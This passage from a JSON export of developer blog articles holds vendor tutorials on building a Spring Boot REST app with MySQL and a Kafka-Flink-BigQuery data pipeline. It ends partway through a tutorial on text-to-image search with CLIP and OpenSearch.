JPA                           |\n| Dependency 3 | MySQL Driver                              |\n\n### Add database connection information to application.properties\n\nSpring Boot comes with `H2` as the default database. Since you're using a cloud database, you must define the connection attributes in the `application.properties` file. Open the `demo/src/main/resources/application.properties` file and add the following:\n\n```\nspring.jpa.hibernate.ddl-auto=update\nspring.datasource.url=jdbc:mysql://HOST:PORT/DATABASE\nspring.datasource.username=USERNAME\nspring.datasource.password=PASSWORD\nspring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver\n```\n\nYou can find the connection information from the **Overview** tab of your Aiven for MySQL service:\n\n![Connection information](https://cdn.sanity.io/images/sczeoy4w/production/cba8ed8b869107dd7cad89706f8e32b88c234192-1700x1146.png)\n\n\u003e **Note:**\n\u003e It is a good security practice to set `spring.jpa.hibernate.ddl-auto` to `none` after your database is in a production state. This setting is also the default for MySQL.\n\n### Create the @Entity model\n\nCreate the following entity model under `demo/src/main/java/io/aiven/spring/mysql/demo/User.java` which hibernate then translates to a table in your MySQL database:\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport jakarta.persistence.Entity;\nimport jakarta.persistence.GeneratedValue;\nimport jakarta.persistence.GenerationType;\nimport jakarta.persistence.Id;\n\n// This tells Hibernate to make a table out of this class\n@Entity\npublic class User {\n    @Id\n    @GeneratedValue(strategy=GenerationType.IDENTITY)\n    private Integer id;\n\n    private String name;\n\n    private String email;\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n}\n\n```\n\n\u003e **Note:** Aiven for MySQL does not support [creating new tables without primary keys](https://aiven.io/docs/products/mysql/howto/create-tables-without-primary-keys) for security reasons, so the code above uses `GenerationType.IDENTITY`. If you wanted to create a table without primary keys locally or for anothe service, you can use `GenerationType.AUTO`. \n\n### Create the Repository\n\nLet's create the repository interface to hold user records under `demo/src/main/java/io/aiven/spring/mysql/demo/UserRepository.java`:\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport org.springframework.data.repository.CrudRepository;\n\nimport io.aiven.spring.mysql.demo.User;\n\n// This will be AUTO IMPLEMENTED by Spring into a Bean called userRepository\n// CRUD refers Create, Read, Update, Delete\n\npublic interface UserRepository extends CrudRepository\u003cUser, Integer\u003e {\n\n}\n```\n\n### Create the Controller\n\nTo handle HTTP requests, let's create the controller class under `demo/src/main/java/io/aiven/spring/mysql/demo/MainController.java`:\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n// This means that this class is a RestController\n@RestController\n// This means URL's start with /demo (after Application path)\n@RequestMapping(path = \"/demo\")\npublic class MainController {\n    // This means to get the bean called userRepository\n    // which is auto-generated by Spring, we will use it to handle the data\n    @Autowired\n    private UserRepository userRepository;\n\n    // Map ONLY POST Requests\n    @PostMapping(path = \"/add\")\n    public @ResponseBody User addNewUser(@RequestParam String name\n            , @RequestParam String email) {\n        // @ResponseBody means the returned User is the response, not a view name\n        // @RequestParam means it is a parameter from the GET or POST request\n\n        User springUser = new User();\n        springUser.setName(name);\n        springUser.setEmail(email);\n        userRepository.save(springUser);\n        return springUser;\n    }\n\n    @GetMapping(path = \"/all\")\n    public @ResponseBody Iterable\u003cUser\u003e getAllUsers() {\n        // This returns a JSON or XML with the users\n        return userRepository.findAll();\n    }\n\n}\n```\n\nThis controller creates two REST API endpoints - `/all` to list all users and `/add` to add a new user. \n\n### Create an application class\n\nA sample application class is already created by Spring initializr under `demo/src/main/java/io/aiven/spring/mysql/demo/DemoApplication.java`. You shouldn't need to add anything, but here's the autogenerated code from initializr:\n\n\n```\npackage io.aiven.spring.mysql.demo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DemoApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(DemoApplication.class, args);\n\t}\n\n}\n```\n\n`@SpringBootApplication` is an annotation in Spring Boot that configures and launches a Spring Boot application with minimal code. It combines three annotations (`@Configuration`, `@EnableAutoConfiguration`, and `@ComponentScan`) into one, making it easier to bootstrap a Spring Boot application. It enables Spring Boot's auto-configuration mechanism and component scanning, and it also serves as the main entry point of the application.\n\nThe `main()` method uses Spring Boot’s `SpringApplication.run()` method to launch an application. This web application is built entirely in Java, and you won't need to worry about configuring any of the underlying infrastructure or plumbing.\n\n## Run and test the application\n\nYou can run the application from the command line with Maven (`./mvnw spring-boot:run`) or from the GUI of your code editor. I'm using IntelliJ IDEA and the step to run the application is **Run** --\u003e **Run 'DemoApplication'**. Once you run the application, a Tomcat server will be started on port 8080 of your machine.\n\nLet's test adding a user. From a terminal window, execute:\n\n```shell\ncurl http://localhost:8080/demo/add -d name=\"Sponge Bob\" -d email=bob@crabby.com\n```\n\nLet's test if the user was added. Either navigate to `localhost:8080/demo/all` from a browser or execute the following from a terminal:\n\n```shell\ncurl http://localhost:8080/demo/all\n```\n\nIf this is the first time you're running the query, you should see the following output:\n\n```json\n[{\"id\":1,\"name\":\"Sponge Bob\",\"email\":\"bob@crabby.com\"}]\n```\n\n## Wrap up\n\nCongratulations! Now you have a proof-of-concept to show your project manager for a demo Spring Boot application with a MySQL backend. You've learned how to set up a new Aiven service, configure your Spring Boot application to connect to it, and perform basic CRUD operations on the database using Spring Data JPA. With this knowledge, you can now confidently develop and deploy more complex applications that leverage the power and convenience of Aiven for MySQL. I'll call that a good start for your important project! \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-06-14T08:40:37.895Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"962878a1e6ac","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-06-07T08:39:23.209Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/create-a-spring-boot-application-with-a-mysql-backend"},"subtitle":"Use a MySQL database to store customer information from a Spring Boot REST application with minimal code.","tags":[{"_key":"688780268afc","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"36b0b161fbbb","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Create a Spring Boot application with a MySQL backend "}
{"__i18n_lang":"en","_createdAt":"2023-09-06T07:38:36Z","_id":"5a685ddf-3043-4ce1-9f9a-206737d7b7de","_rev":"ZLvKaZvfbZlWBlGcpIpaXT","_type":"devArticle","_updatedAt":"2024-01-29T15:45:43Z","body":"# Data refinement in action: Apache Flink® for data transformation into Google BigQuery\n\nIn today's companies, with data assets flowing across different technologies and formats, it's essential to be able to reshape ongoing streams of information before they reach their target destination. Typical use cases include eliminating sensitive information, cleaning up irrelevant data, converting bulky JSON objects into organized structures, or altering the shape of the data to gain new insights.\n\nThe broader, and maybe more important use case for such streaming transformation is building a comprehensive 360-degree view on the data which brings a new challenge: due to the abundance of data in those events, untangling them to find meaningful information can be a problem.\n\n## Streaming analytics at Crab Mart\n\nToday, we'll explore one such scenario together. Imagine you're a data engineer at Crab Mart — a Brick and Mortar store that has expanded online to sell groceries in the top 10 cities across the US. Your role involves evaluating seasonal promotions and ensuring that products are appropriately priced and timed for sale. To achieve this, you're looking to create a data pipeline that helps you understand the sales patterns by location and time, enabling you to draw meaningful conclusions.\n\nDetails about each individual transfer from all the shops go directly into a distributed event store Apache Kafka®. Once the data is there it is used for various different purposes, including those analytical scenarios you're interested in. \n\nGiven the substantial volume of raw information, you've opted to sink the data into Google BigQuery — a data warehousing solution for running complex analytical queries and addressing Crab Mart's biggest questions.\n\nGoogle BigQuery works best when it gets clean and prepared data, that's why your aim is to minimize joins or transformations within Google BigQuery itself. You want to do all the cleaning before data arrives to the warehouse.\n\nThis is where the strengths of Apache Flink® and [its Flink to BigQuery sink connector](https://github.com/aiven/bigquery-connector-for-apache-flink) come into play. By using Apache Flink you can cleanse and restructure the event data into records that align with BigQuery's preferences for fast queries.\n\nThe complete data flow looks like this:\n![Data flow in the application we'll build raw data, feed it to Apache Kafka, transform it with Apache Flink then feed it into Big Query and perform Analytics on it](https://cdn.sanity.io/images/sczeoy4w/production/6271a1495517fdcaa5282c8dfbea9c576fd067f3-2174x184.png)\n\nOur goal is to convert this detailed JSON object for each of the purchases:\n\n```json\n{\n  \"id\": 7100374005816377000,\n  \"city\": \"New York City\",\n  \"purchase_day\": 1607221440,\n  \"total_purchases\": 36,\n  \"purchases\": [\n    {\n      \"id\": 7100374005814829000,\n      \"city\": \"New York City\",\n      \"item\": \"Grapes (1kg)\",\n      \"price\": 5.99,\n      \"influencer\": null\n    },\n    {\n      \"id\": 7100374005814829000,\n      \"city\": \"New York City\",\n      \"item\": \"Conditioner (500ml)\",\n      \"price\": 4.99,\n      \"influencer\": null\n    },\n    ....\n  ]\n}\n```\nInto distinct product entries stored in a BigQuery table:\n\n![Table structure of the data](https://cdn.sanity.io/images/sczeoy4w/production/d51dc82480d7afb7c0de7752949ab4fba15cd61f-2132x298.png)\n\n## Preparing the services\n\nFor our simulation we'll be using the following building blocks: \n- **Apache Kafka** as a storage for arriving sales events, \n- **Google BigQuery**, where data for analytical queries will ultimately reside,\n- **Apache Flink** - a stream-processing framework that connects Kafka and BigQuery,\n- Data generator to simulate shopping events.\n\nTo demonstrate a smooth and easy integration between the elements above we'll use Aiven - the trusted open source data platform for everyone. If you haven't registered for it yet, [start here](https://console.aiven.io/login) and receive free credits for running the simulation described in this article.\n\nOnce you've registered, head to [Aiven's console](https://console.aiven.io/). This is where we'll create [Aiven for Apache Kafka®](https://aiven.io/kafka) and [Aiven for Apache Flink®](https://aiven.io/flink) services.\n\n### Kafka service\nStart by creating a new [Aiven for Apache Kafka service](https://aiven.io/kafka). Select your preferred cloud and geographical location.\n\nFor our purposes, we'll need a topic: **CDC-input**. You can easily create it in your Apache Kafka cluster by following the instructions [in our documentation](https://aiven.io/docs/products/kafka/howto/create-topic).\n\n### Flink service\nOur next step is to set up the Apache Flink service. This can be done using the Aiven console. The smallest plan available in the chosen region will be enough for the purpose of the tutorial.\n\n### Preparing BigQuery\n\nBefore moving on, make sure you have a [Google Cloud account](https://cloud.google.com).\n\nIn Google Cloud, we need to do a few things to get ready for data:\n\nFirst, create [a new service account](https://cloud.google.com/iam/docs/service-accounts-create). Give it a name and description, skipping the optional steps:\n\n![Creating a new service account with Google Cloud](https://cdn.sanity.io/images/sczeoy4w/production/efb72525e7820ab954b41ae3aef445815c931e0e-1259x1295.png)\n\nOnce the service account is created, generate the keys to get access to Google Cloud services. We'll need these keys to integrate Apache Flink with BigQuery. There are different types of the keys, but you need the JSON ones:\n\n![Creating JSON key for the service account](https://cdn.sanity.io/images/sczeoy4w/production/eb6cc819fd78d9e29bf41db797f1a1c64b3f586b-2234x1257.png)\n\nDownload the key and keep it close and secure. We'll come back to using this key in the following step, but while we're at the Google Cloud console, let's do a couple more actions!\n\nTo store the data in BigQuery, we'll need a dataset and a table.\nFor the dataset, choose a name and your preferred location type - I kept it Multi-region:\n\n![Creating a new dataset in Google Cloud BigQuery](https://cdn.sanity.io/images/sczeoy4w/production/2a2e1ac88bf15c9fb0813843c6faa096e62d7794-1148x1310.png)\n\nWithin the created dataset add a new table and define its structure. Your BigQuery table should have the following properties:\n\n- `city` of type `STRING`\n- `purchase_day` of type `TIMESTAMP`\n- `id` of type `BIGNUMERIC`\n- `influencer` of type `STRING`\n- `item` of type `STRING`\n- `price` of type `NUMERIC`\n\n![Creating a new table in Google Cloud BigQuery](https://cdn.sanity.io/images/sczeoy4w/production/2d238466476e8e9a14fc766bc50ae2909d9c6af9-2560x1880.png)\n\nFinally, on the Google Cloud side we need to grant permissions to the service account created above to allow adding data to the table. For this, go to **Sharing \u003e Permissions** and add a new principal. Enter the name of the service account that you created in one of the previous steps.\n\nFor the role, find \"BigQuery Data Owner\" and select it from the list.\n\n![Granting access to sold_groceries by adding the new serice account as principal, and selecting BigQuery Data Owner as role](https://cdn.sanity.io/images/sczeoy4w/production/a8f9ab585f2b264fafffee79f5c3d6fc1cf0051b-1488x1796.png)\n\nWith the Google Cloud side prepared, let's return to the Aiven platform.\n\n### Adding an external service to Aiven\n\nTo be able to send data from Aiven to BigQuery, we'll need to define an integration between the systems. With the information about your Google Cloud account in hand:\n* Head to the [Aiven console](https://console.aiven.io/),\n* Navigate to Integration endpoints,\n* Select Google Cloud BigQuery.\n\nProvide a suitable endpoint name, your Google Cloud Project ID (if not sure, you can also find it in the body of the certificate), and paste the JSON key from your service account:\n\n![Creating a new Google Cloud BigQuery endpoint](https://cdn.sanity.io/images/sczeoy4w/production/cc2329da6bf059314390037b77c81b41789822a5-2372x1265.png)\n\nAfter creating the endpoint, we can now use it with our Apache Flink instance. But first, we need some data!\n\n## Generating sample data\n\nWe'll use a grocery generator that you can clone from [the grocery-generator repository](https://github.com/Aiven-Labs/grocery-generator).\n\nInstall the dependencies by running:\n\n```bash\npip install -r requirements.txt\n```\n\nTo configure the access to your Apache Kafka service:\n\n* Rename `config-example.py` into `config.py` and then replace the placeholders with your Aiven for Apache Kafka URI. \n* Create a folder called **certificates** and store these Apache Kafka certificates in it: `ca.pem`, `service.cert` and `service.key`.\n\nAll this information can be taken from your Aiven for Apache Kafka service page: \n\n![Download certificates for Aiven for Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/40895a176cd2dfa9f68d45d545a333ab4a14700e-3337x1246.png)\n\nNow it's time to run the scripts and generate the data:\n```bash\npython makeData.py\n```\nAfter a minute or two, details about grocery purchases will start flowing into the Apache Kafka topics. You'll be able to also see the data in the topic by getting messages through Aiven interface:\n\n![Fetching messages from Aiven for Aoache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/0c6462f15973482f1b7ee1e98bcbaa9d41736627-2808x1230.png)\n\n## Transforming data in Flink\nNow that we have data in our Apache Kafka service, let's shift our focus to Apache Flink.\n\nNavigate to your Aiven for Apache Flink service to create a new data pipeline. We'll need two integrations: one for Apache Kafka to source the data and another for BigQuery to sink the flow of transformed assets.\n\nFor Apache Kafka, access the *Create service integration* tab and select your Aiven for Apache Kafka service:\n\n![Add Apache Kafka - a service integration to Flink pipeline](https://cdn.sanity.io/images/sczeoy4w/production/15221920d801849b41c37e2e9698038d5077a362-1858x652.png)\n\nFor BigQuery, go to *Create external integration endpoint*, and you'll find the previously added BigQuery integration:\n\n![Add BigQuery - an external service integration to Flink pipeline](https://cdn.sanity.io/images/sczeoy4w/production/a7d3080559232a712f216d72cbfe31c84cf48411-1870x644.png)\n\nAdd both integrations to your Apache Flink service.\n\nNext, create a new Apache Flink application. Choose a suitable name and create the application:\n\n![Create a new application with Aiven for Apache Flink](https://cdn.sanity.io/images/sczeoy4w/production/9db9718b7de7faee35cdd61cef684d5d04e042f2-2555x1094.png)\n\nEach Apache Flink application consists of three components: source definition, sink definition, and transformation statement.\n\nOur data source is the Apache Kafka topic that we need to map to an Apache Flink table. \nFor this, you need to do two things: \n* Choose your Aiven for Apache Kafka service from the list of integrated services. \n* Define an SQL query to create a table, specify properties to retrieve from Apache Kafka topic, as well as the name of the topic, the format of the data and from which point to read the data:\n\n```sql\nCREATE TABLE basket_table (\n    city STRING,\n    id BIGINT,\n    purchase_day BIGINT,\n    total_purchases INT,\n    purchases ARRAY\u003cROW\u003c\n        city STRING,\n        id BIGINT,\n        influencer STRING,\n        item STRING,\n        price DECIMAL(10, 2)\n    \u003e\u003e\n) WITH (\n    'connector' = 'kafka',\n    'properties.bootstrap.servers' = '',\n    'topic' = 'CDC-input',\n    'value.format' = 'json',\n    'scan.startup.mode' = 'earliest-offset'\n    )\n```\n\nTo make sure everything is set up right and to see an example of data arriving, tap on the **Run** button. This will return a bunch of values from the Apache Kafka topic as a Flink table:\n\n![Add Apache Kafka as a source table](https://cdn.sanity.io/images/sczeoy4w/production/d0ec4c5e76ce6ebffd58ef84e804ea5c68da0f2d-3313x1696.png)\n\nInclude the source table and click **Next** to move ahead.\nNext we need to define the destination for the data processed by Flink, BigQuery. As with Apache Kafka you need to do two actions - select BigQuery from the list of integrated services and write SQL definition for the table:  \n\n```sql\nCREATE TABLE sold_groceries (\n    city STRING,\n    purchase_day TIMESTAMP(3),\n    id BIGINT,\n    influencer STRING,\n    item STRING,\n    price DECIMAL(10, 2) \n) WITH (\n    'connector' = 'bigquery',\n    'project-id'= 'aiven-devrel-demo',\n    'dataset' = 'e_commerce_analytics_dataset',\n    'table' = 'sold_groceries'\n)\n\n```\nMake sure that you correctly define the names of your dataset, table and project-id, as well as the structure of the table.\n\n![Add BigQuery as a sink table](https://cdn.sanity.io/images/sczeoy4w/production/8c34edd103bed139136311f57c963c09f630c640-3336x1710.png)\n\nThe final step is to create a statement to transform the input data that comes from a source and send it to the destination. In this part, we use SQL to insert values from `basket_table` into the BigQuery table `sold_groceries`. We also use `CROSS JOIN UNNEST` to generate a row for each item in the purchases array that we have in `basket_table`:\n\n```sql\nINSERT INTO sold_groceries\nSELECT \n    basket_table.city, \n    TO_TIMESTAMP(FROM_UNIXTIME(basket_table.purchase_day)), \n    p.id, \n    p.influencer, \n    p.item, \n    p.price \nFROM basket_table \nCROSS JOIN UNNEST(purchases) AS p(city, id, influencer, item, price)\n```\n\n![Add a transformation statement](https://cdn.sanity.io/images/sczeoy4w/production/df84ff5f3b54934774294966a122d5bd837e86b3-3346x1702.png)\n\nWe're almost ready. Time to deploy Flink code and see our data moving to BigQuery. Now click to create a deployment and then choose to create without a savepoint:\n\n![Create Aiven for Apache Flink deployment](https://cdn.sanity.io/images/sczeoy4w/production/63ae1454ecdebdcf8c0306957b47107262394b95-3349x1158.png)\n\n\nOnce you create a deployment, go to Flink's UI by clicking on **Flink Web UI** in the console and entering username and password provided in the *Connection Information*:\n\n![Access Flink's UI from the Aiven console](https://cdn.sanity.io/images/sczeoy4w/production/a3fe609731724ccb4c80155e42c1ddb14af36608-2779x933.png)\n\nFlink UI is a convenient tool to observe the status of Flink jobs and get trace information about the errors:\n\n![Using Flink UI to check the statues of the job](https://cdn.sanity.io/images/sczeoy4w/production/33b34cf2581794cadec9c61e9173c3be5a6610d8-3358x968.png)\n\n## Getting the results\n\nOnce your job is running, go back to your table in BigQuery to see the data and perform analytical queries that you need!\n\n![Seeing results in the BigQuery](https://cdn.sanity.io/images/sczeoy4w/production/1c0c04b5863f14372728f34a356f6d3d33d867a8-2622x1710.png)\n\n# Conclusions \n\nIn this article, we've explored how to use Apache Flink and [its Flink to BigQuery sink connector](https://github.com/aiven/bigquery-connector-for-apache-flink) to transform the data and send it into Google BigQuery. In several steps we configured BigQuery and Aiven for Apache Flink services and created a new data pipeline. \n\nInterested to learn more? Check these resources:\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Github repository for BigQuery Connector for Apache Flink®](https://github.com/aiven/bigquery-connector-for-apache-flink)\n- [Documentation on how to integrate Aiven for Apache Flink® with Google BigQuery](https://aiven.io/docs/products/flink/howto/connect-bigquery)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-13T07:38:33.752Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"f9fe0a6564dd","_ref":"36bb61b8-a6d5-45b4-ae46-6b9e8aab64a6","_type":"tag"},{"_key":"0de5a02f54a6","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2023-09-07T10:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4eb69b6a035974fdf05a6c5b22dd12bc4ba8ff33-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-flink-for-data-transformation-into-bigquery"},"subtitle":"Learn how to draw meaningful conclusions from ecommerce data using Apache Flink® as a data pipeline into Google BigQuery","tags":[{"_key":"20cb37cde119","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"c4fe787be8e4","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"fbae9cadc02c","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"0f4951b28ffe","_ref":"fb5ec822-b1c7-4454-acf5-62b026fb47ec","_type":"tag"}],"title":"Data refinement in action: Apache Flink® for data transformation into Google BigQuery"}
{"__i18n_lang":"en","_createdAt":"2024-03-11T09:32:36Z","_id":"3819159e-9c6a-402b-9ca7-48f82efcedaa","_rev":"MXByqil29wvmyqa7TKGls3","_type":"devArticle","_updatedAt":"2024-03-18T12:51:05Z","body":"Do you recall the frustration of looking through an endless sea of images, desperately seeking that one photograph buried deep within your digital library? Perhaps it was a snapshot from a past vacation, a birthday moment of your friend, or a sunrise view on a freezing winter moment. Wouldn't it be great if you could just describe the photo and find it easily? Well, if you want to know how to do that, you're in the right place! Keep reading to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine.\n\nIn this tutorial we'll use a multi-modal vision and language model named CLIP. This model is special in the way that it can work with both images and text interchangeably, producing embeddings for input data that is either a text snippet or an image. These embeddings, or we also call them \"vectors\", are arrays of numeric values that define the location of an object in a multidimensional space. This location is calculated by a model by looking at various features of the object.\n\nCLIP works perfectly for our use case, on one side we can convert each photo into a vector. On the other, we can do the same to a search text description - producing another vector. Once we have that we can compare image vectors to the search phrase vector and find the closest photo to the search description.\n\nTo accomplish this, we'll need:\n- Photos to experiment with — I'll be using a dataset from [Unsplash](https://unsplash.com/data).\n- The CLIP (Contrastive Language-Image Pre-Training) model to generate vectors.\n- OpenSearch to store, compare vectors, and find the nearest ones using the K-Nearest Neighbors Algorithm.\n\nHere is the plan:\n\n1. Download photos.\n2. Process each photo using the CLIP model and retrieve the generated vectors.\n3. Store the vectors and corresponding photo URLs in OpenSearch.\n4. Process a search phrase using the CLIP model.\n5. Retrieve a single vector.\n6. Send a similarity search request to OpenSearch and retrieve the closest photo.\n\n![Step by step plan for this tutorial](https://cdn.sanity.io/images/sczeoy4w/production/55f055f2ee67a953dfe12e6701d62f5e1daea716-2352x996.png)\n\nIf you're unsure where to begin, don't worry; we'll navigate through each step together!\n\n## GitHub repository with complete code\n\nFor easy access to all the code that we'll discuss, find the complete implementation in [the GitHub repository](https://github.com/Aiven-Labs/CLIP-opensearch). I recommend cloning the repository and running the steps in a Jupyter notebook.\n\n## Set up the Python environment\n\nIn this tutorial, we'll use Python notebooks. If you haven't already set up your Python environment, it is time to do so. First, install Python by following steps from [www.python.org](https://www.python.org/about/gettingstarted/). Next create a Python environment. This can be done in different ways, below is how I did it using [Conda](https://conda.io/projects/conda/en/latest/index.html). However, your setup steps might be different.\n\n```bash\nconda create --name photo_env  \nconda activate photo_env\nconda install pip3  \nconda install pandas  \nconda install -c anaconda ipykernel\npython -m ipykernel install --user --name=photo_env\n```\n\nNow when running a notebook you can select ``photo_env`` as your environment to perform actions.\n\n## Download the archive with image references\n\n[Unsplash](https://unsplash.com/data) offers a great collection of high quality images that we can use for this project. There are two versions of their dataset and we'll use the smaller version, called \"Lite\". It contains approximately 25,000 pictures. To obtain the dataset, follow these steps:\n\n1. Visit the Download section of the Unsplash datasets repository: [Unsplash Datasets Repository](https://github.com/unsplash/datasets?tab=readme-ov-file).\n2. Download the archive provided in the repository.\n\nThe archive itself doesn't contain images, it contains only the corresponding URLs of the images. The URLs are in the file `photos.tsv000`. There you'll find a list of records for each photo, including URL information:\n\n![A look into photos TSV file](https://cdn.sanity.io/images/sczeoy4w/production/ed21ee3029f8c375ef838104d12736645cc83337-2644x392.png)\n\n## Download all images\n\nTo store and later display images by URL we need to establish a connection between each downloaded image and its unique identifier. While `photos.tsv000` contains both the image id and URL, the image URL isn't easily derived from the id.\n\nIt's tempting to use image id as it's short and has no special characters, making it suitable as a filename for downloaded images. Yet this approach would require searching through `photos.tsv000` each time we need to retrieve the image URL by image id. This is quite inefficient. \n\nTo simplify the process and ensure that we only need to read `photos.tsv000` once during the image loading phase, we'll embed the URL into the filename of each downloaded photo. For example, here is how we can achieve it for the first row from `photos.tsv000`:\n\n``` \nbygTaBey1Xk\t\nhttps://unsplash.com/photos/bygTaBey1Xk\thttps://images.unsplash.com/uploads/1413387620228d142bee4/23eceb86\t\n2014-10-15 15:40:40.111061\t\nt\t4635\t3070\t1.51\t\t\njaspervandermeij\tJasper\tvan der Meij\t\nPENTAX RICOH IMAGING\t\nGR\t100\t14.0\t18.3\t8\t\t\t\t\t\t1708356\t\n19085\tsea and rock cliff with grasses under cloudy sky\t\nNeist Point\t57.428386927437906\t\n-6.7830279999999998\t30.348905999999999\t\nLcE{wnIVRixt~WR+NGjbxukCWBWB\n```\n\nFor the photo above, the URL is `https://images.unsplash.com/uploads/1413387620228d142bee4/23eceb86`. However, because filenames shouldn't contain forward slash `/`, we need to do a small trick - to embed the URL into the filename, we'll replace `/` with a different character, such as `!`. Thus, the filename becomes `https:!!images.unsplash.com!uploads!1413387620228d142bee4!23eceb86`. Later, when we need the URL, we'll replace `!` back with `/`.\n\nTo implement this process, move `photos.tsv000` to your project directory and run [1-load-images.ipynb](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/1-load-images.ipynb), which contains the necessary code to execute the embedding of URLs into filenames:\n\n```py\nimport csv\nimport os\nimport requests\nfrom urllib.parse import urlparse\n\n# Create a folder to store the images if it doesn't exist\nfolder_name = 'photos'\nif not os.path.exists(folder_name):\n    os.makedirs(folder_name)\n\n# Read the TSV file and extract photo URLs\nwith open('photos.tsv000', newline='', encoding='utf-8') as tsvfile:\n    reader = csv.DictReader(tsvfile, delimiter='\\t')\n    count = 0  # Counter for downloaded images\n    for row in reader:\n        photo_image_url = row['photo_image_url']\n\n        # Replace \"/\" in the URL path with \"!\" to be used as a file name that we can reconstruct into URL later\n        filename = photo_image_url.replace(\"/\", \"!\") \n        \n        try:\n            # Download the image\n            photo_image_url = f\"{photo_image_url}?w=640\"\n            response = requests.get(photo_image_url)\n            if response.status_code == 200:\n                # Save the image to the folder\n                count += 1\n                with open(os.path.join(folder_name, filename), 'wb') as f:\n                    f.write(response.content)\n                print(f\"Downloaded image {count}: {filename}\")\n            else:\n                print(f\"Failed to download image {filename}\")\n        except Exception as e:\n            print(f\"Error downloading image {filename}: {str(e)}\")\n\nprint(\"All images downloaded successfully.\")\n```\n\nWait a bit while we download ~25,000 images. You can see the progress in the notebook.\n\n## Prepare OpenSearch\n\nWe'll use OpenSearch both as storage, as well as a search engine that can work with vectors.\n\nStart by creating an [Aiven for OpenSearch®](https://aiven.io/opensearch) service by [signing up for an Aiven account](https://aiven.io/signup) and accessing the Aiven Console.\n\nTo connect to the OpenSearch cluster you'll need its **Service URI**. Find this value on the landing page of the service. \n\n\nTo avoid hard-coding credentials in the code, we'll use [python-dotenv](https://pypi.org/project/python-dotenv/). This means that all credentials should go to an environment file which is excluded from the repository. Create `.env` and add the Service URI there (see [.env.example](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/.env.example)).\n```bash\nSERVICE_URI='add your OpenSearch service URI here'\n```\n\nYou'll also need python dependencies for OpenSearch and for Dotenv, install them:\n\n```bash\npip install opensearch-py\npip install python-dotenv\n```\nNow you're ready to run the code from the second notebook. Open [2-prepare-opensearch.ipynb](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/2-prepare-opensearch.ipynb) and run the code to create an index with the name \"photos\":\n\n```py\nfrom dotenv import load_dotenv\nload_dotenv()\nSERVICE_URI = os.getenv(\"SERVICE_URI\")\n\nfrom opensearchpy import OpenSearch\nopensearch = OpenSearch(SERVICE_URI, use_ssl=True)\n\nfrom opensearchpy import OpenSearch\nindex_name = 'photos'\nindex_body = {\n  'settings': {\n    'index': {\n      \"knn\": True\n    }\n  },\n  \"mappings\": {\n            \"properties\": {\n                \"embedding\": {\n                    \"type\": \"knn_vector\",\n                    \"dimension\": 512\n                }\n            }\n        }\n}\n\nopensearch.indices.create(index_name, body=index_body)\n```\n\nOpenSearch can work with dynamic schemas, so creating an index isn't usually mandatory. However, when dealing with vectors and enabling k-nearest neighbors (KNN) functionality, **it's essential to explicitly define the mappings**. This ensures that OpenSearch understands which field will contain the embeddings and how many dimensions it will have.\n\n## Process images\n\nIf you followed the steps before by now you should have a folder **Photos** that contain [Unsplash](https://unsplash.com/data) photos. Time to process each of those images, get a vector and store the data in OpenSearch. To create vectors we'll use the [CLIP model](https://github.com/openai/CLIP).\n\nYou'll need to install several libraries to work with CLIP (see detailed instructions in the [CLIP GitHub repo](https://github.com/openai/CLIP)):\n\n```bash\npip install git+https://github.com/openai/CLIP.git\npip install ftfy regex tqdm\npip install Pillow   \npip install torch   \n```\n\nGo to [3-process-and-upload.ipynb](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/3-process-and-upload.ipynb) and do all the steps.\n\nLoad the model:\n\n```py\nimport os\nimport clip\nimport torch\nfrom PIL import Image\n\n# Load the open CLIP model\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nmodel, preprocess = clip.load(\"ViT-B/32\", device=device)\n```\n\nCreate a function that computes the feature vectors for a batch of images. This is where we rely on the `torch` library to preprocess the image to optimize for the available environment. Next we use the model to obtain feature vectors for each image in the batch. Finally, normalise the vectors to make sure that feature vectors have a consistent scale:\n\n```py\ndef compute_clip_features(photos_batch):\n    # Load all the photos from the files\n    photos = [Image.open(photo_file) for photo_file in 